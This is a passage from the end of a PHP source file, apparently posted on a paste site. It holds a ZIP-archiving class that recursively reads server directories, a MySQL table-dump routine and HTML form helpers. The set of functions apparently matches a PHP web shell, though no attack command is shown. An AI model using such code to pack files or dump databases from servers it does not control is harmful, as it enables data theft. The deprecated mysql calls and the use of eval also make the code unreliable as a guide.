  2304.                         $fd      = fopen($filename, 'r');
  2305.                         $content = @fread($fd, filesize($filename));
  2306.                         fclose($fd);
  2307.                         if (is_array($dir))
  2308.                             $filename = basename($filename);
  2309.                         $this->addFile($content, $filename);
  2310.                     }
  2311.                 }
  2312.                 $this->out = $this->file();
  2313.                 chdir($curdir);
  2314.             }
  2315.             return 1;
  2316.         } else
  2317.             return 0;
  2318.     }
  2319.     function GetFileList($dir)
  2320.     {
  2321.         static $a;
  2322.         if (is_dir($dir)) {
  2323.             if ($dh = opendir($dir)) {
  2324.                 while ($file = readdir($dh)) {
  2325.                     if ($file != '.' && $file != '..') {
  2326.                         $f = $dir . '/' . $file;
  2327.                         if (is_dir($f))
  2328.                             $this->GetFileList($f);
  2329.                         $a[] = $f;
  2330.                     }
  2331.                 }
  2332.                 closedir($dh);
  2333.             }
  2334.         }
  2335.         return $a;
  2336.     }
  2337.     var $datasec = array();
  2338.     var $ctrl_dir = array();
  2339.     var $eof_ctrl_dir = "\50\4b\05\06\00\00\00\00";
  2340.     var $old_offset = 0;
  2341.     function unix2DosTime($unixtime = 0)
  2342.     {
  2343.         $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
  2344.         if ($timearray['year'] < 1980) {
  2345.             $timearray['year']    = 1980;
  2346.             $timearray['mon']     = 1;
  2347.             $timearray['mday']    = 1;
  2348.             $timearray['hours']   = 0;
  2349.             $timearray['minutes'] = 0;
  2350.             $timearray['seconds'] = 0;
  2351.         }
  2352.         return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
  2353.     }
  2354.     function addFile($data, $name, $time = 0)
  2355.     {
  2356.         $name     = str_replace('\\', '/', $name);
  2357.         $dtime    = dechex($this->unix2DosTime($time));
  2358.         $hexdtime = '\x' . $dtime[6] . $dtime[7] . '\x' . $dtime[4] . $dtime[5] . '\x' . $dtime[2] . $dtime[3] . '\x' . $dtime[0] . $dtime[1];
  2359.         eval('$hexdtime = "' . $hexdtime . '";');
  2360.         $fr = "\x50\x4b\x03\x04";
  2361.         $fr .= "\x14\x00";
  2362.         $fr .= "\x00\x00";
  2363.         $fr .= "\x08\x00";
  2364.         $fr .= $hexdtime;
  2365.         $unc_len = strlen($data);
  2366.         $crc     = crc32($data);
  2367.         $zdata   = gzcompress($data);
  2368.         $c_len   = strlen($zdata);
  2369.         $zdata   = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
  2370.         $fr .= pack('V', $crc);
  2371.         $fr .= pack('V', $c_len);
  2372.         $fr .= pack('V', $unc_len);
  2373.         $fr .= pack('v', strlen($name));
  2374.         $fr .= pack('v', 0);
  2375.         $fr .= $name;
  2376.         $fr .= $zdata;
  2377.         $fr .= pack('V', $crc);
  2378.         $fr .= pack('V', $c_len);
  2379.         $fr .= pack('V', $unc_len);
  2380.         $this->datasec[] = $fr;
  2381.         $new_offset      = strlen(implode('', $this->datasec));
  2382.         $cdrec           = "\x50\x4b\x01\x02";
  2383.         $cdrec .= "\x00\x00";
  2384.         $cdrec .= "\x14\x00";
  2385.         $cdrec .= "\x00\x00";
  2386.         $cdrec .= "\x08\x00";
  2387.         $cdrec .= $hexdtime;
  2388.         $cdrec .= pack('V', $crc);
  2389.         $cdrec .= pack('V', $c_len);
  2390.         $cdrec .= pack('V', $unc_len);
  2391.         $cdrec .= pack('v', strlen($name));
  2392.         $cdrec .= pack('v', 0);
  2393.         $cdrec .= pack('v', 0);
  2394.         $cdrec .= pack('v', 0);
  2395.         $cdrec .= pack('v', 0);
  2396.         $cdrec .= pack('V', 32);
  2397.         $cdrec .= pack('V', $this->old_offset);
  2398.         $this->old_offset = $new_offset;
  2399.         $cdrec .= $name;
  2400.         $this->ctrl_dir[] = $cdrec;
  2401.     }
  2402.     function file()
  2403.     {
  2404.         $data    = implode('', $this->datasec);
  2405.         $ctrldir = implode('', $this->ctrl_dir);
  2406.         return $data . $ctrldir . $this->eof_ctrl_dir . pack('v', sizeof($this->ctrl_dir)) . pack('v', sizeof($this->ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\00\00";
  2407.     }
  2408. }
  2409. function sqldumptable($table, $fp = 0)
  2410. {
  2411.     $tabledump = "DROP TABLE IF EXISTS $table;
  2412. ";
  2413.     $tabledump .= "CREATE TABLE $table (
  2414. ";
  2415.     $firstfield = 1;
  2416.     $fields     = q("SHOW FIELDS FROM $table");
  2417.     while ($field = mysql_fetch_array($fields)) {
  2418.         if (!$firstfield) {
  2419.             $tabledump .= ",
  2420. ";
  2421.         } else {
  2422.             $firstfield = 0;
  2423.         }
  2424.         $tabledump .= "   $field[Field] $field[Type]";
  2425.         if (!empty($field["Default"])) {
  2426.             $tabledump .= " DEFAULT '$field[Default]'";
  2427.         }
  2428.         if ($field['Null'] != "YES") {
  2429.             $tabledump .= " NOT NULL";
  2430.         }
  2431.         if ($field['Extra'] != "") {
  2432.             $tabledump .= " $field[Extra]";
  2433.         }
  2434.     }
  2435.     fr($fields);
  2436.     $keys = q("SHOW KEYS FROM $table");
  2437.     while ($key = mysql_fetch_array($keys)) {
  2438.         $kname = $key['Key_name'];
  2439.         if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
  2440.             $kname = "UNIQUE|$kname";
  2441.         }
  2442.         if (!is_array($index[$kname])) {
  2443.             $index[$kname] = array();
  2444.         }
  2445.         $index[$kname][] = $key['Column_name'];
  2446.     }
  2447.     fr($keys);
  2448.     while (list($kname, $columns) = @each($index)) {
  2449.         $tabledump .= ",
  2450. ";
  2451.         $colnames = implode($columns, ",");
  2452.         if ($kname == "PRIMARY") {
  2453.             $tabledump .= "   PRIMARY KEY ($colnames)";
  2454.         } else {
  2455.             if (substr($kname, 0, 6) == "UNIQUE") {
  2456.                 $kname = substr($kname, 7);
  2457.             }
  2458.             $tabledump .= "   KEY $kname ($colnames)";
  2459.         }
  2460.     }
  2461.     $tabledump .= "
  2462. );
  2463.  
  2464. ";
  2465.     if ($fp) {
  2466.         fwrite($fp, $tabledump);
  2467.     } else {
  2468.         echo $tabledump;
  2469.     }
  2470.     $rows      = q("SELECT * FROM $table");
  2471.     $numfields = mysql_num_fields($rows);
  2472.     while ($row = mysql_fetch_array($rows)) {
  2473.         $tabledump    = "INSERT INTO $table VALUES(";
  2474.         $fieldcounter = -1;
  2475.         $firstfield   = 1;
  2476.         while (++$fieldcounter < $numfields) {
  2477.             if (!$firstfield) {
  2478.                 $tabledump .= ", ";
  2479.             } else {
  2480.                 $firstfield = 0;
  2481.             }
  2482.             if (!isset($row[$fieldcounter])) {
  2483.                 $tabledump .= "NULL";
  2484.             } else {
  2485.                 $tabledump .= "'" . mysql_escape_string($row[$fieldcounter]) . "'";
  2486.             }
  2487.         }
  2488.         $tabledump .= ");
  2489. ";
  2490.         if ($fp) {
  2491.             fwrite($fp, $tabledump);
  2492.         } else {
  2493.             echo $tabledump;
  2494.         }
  2495.     }
  2496.     fr($rows);
  2497.     if ($fp) {
  2498.         fwrite($fp, "
  2499. ");
  2500.     } else {
  2501.         echo "
  2502. ";
  2503.     }
  2504. }
  2505. function ue($str)
  2506. {
  2507.     return urlencode($str);
  2508. }
  2509. function p($str)
  2510. {
  2511.     echo $str . "
  2512. ";
  2513. }
  2514. function tbhead()
  2515. {
  2516.     p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
  2517. }
  2518. function tbfoot()
  2519. {
  2520.     p('</table>');
  2521. }
  2522. function makehide($name, $value = '')
  2523. {
  2524.   p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");
  2525. }
  2526. function makeinput($arg = array())
  2527. {
  2528.     $arg['size']  = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";
  2529.     $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
  2530.     !$arg['type'] && $arg['type'] = 'text';
  2531.     $arg['title'] = $arg['title'] ? $arg['title'] . '<br />' : '';
  2532.     $arg['class'] = $arg['class'] ? $arg['class'] : 'input';
  2533.     if ($arg['newline']) {
  2534.         p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");
  2535.     } else {
  2536.         p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");
  2537.     }
  2538. }
  2539. function makeselect($arg = array())
  2540. {
  2541.     if ($arg['onchange']) {
  2542.         $onchange = 'onchange="' . $arg['onchange'] . '"';
  2543.     }
  2544.     $arg['title'] = $arg['title'] ? $arg['title'] : '';
  2545.     if ($arg['newline'])
  2546.         p('<p>');
  2547.     p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");
  2548.     if (is_array($arg['option'])) {
  2549.         foreach ($arg['option'] as $key => $value) {
  2550.             if ($arg['selected'] == $key) {
  2551.                 p("<option value=\"$key\" selected>$value</option>");
  2552.             } else {
  2553.                 p("<option value=\"$key\">$value</option>");
  2554.             }
  2555.         }
  2556.     }
  2557.     p("</select>");
  2558.     if ($arg['newline'])
  2559.         p('</p>');
  2560. }
  2561. function formhead($arg = array())
  2562. {
  2563.     !$arg['method'] && $arg['method'] = 'post';
  2564.     !$arg['action'] && $arg['action'] = $self;
  2565.     $arg['target'] = $arg['target'] ? "target=\$arg[target]\"" : '';
  2566.     !$arg['name'] && $arg['name'] = 'form1';
  2567.     p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");
  2568.     if ($arg['title']) {
  2569.         p('<h2>' . $arg['title'] . ' &raquo;</h2>');
  2570.     }
  2571. }
  2572. function maketext($arg = array())
  2573. {
  2574.     !$arg['cols'] && $arg['cols'] = 100;
  2575.     !$arg['rows'] && $arg['rows'] = 25;
  2576.     $arg['title'] = $arg['title'] ? $arg['title'] . '<br />' : '';
  2577.     p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");
  2578. }
  2579. function formfooter($name = '')
  2580. {
  2581.     !$name && $name = 'submit';
  2582.     p('<p><input class="bt" name="' . $name . '" id=\"' . $name . '\" type="submit" value="HP2K2"></p>');
  2583.     p('</form>');
  2584. }
  2585. function formfoot()
  2586. {
  2587.     p('</form>');
  2588. }
  2589. function pr($a)
  2590. {
  2591.     echo '<pre>';
  2592.     print_r($a);
  2593.     echo '</pre>';
  2594. }
  2595. ?>
RAW Paste Data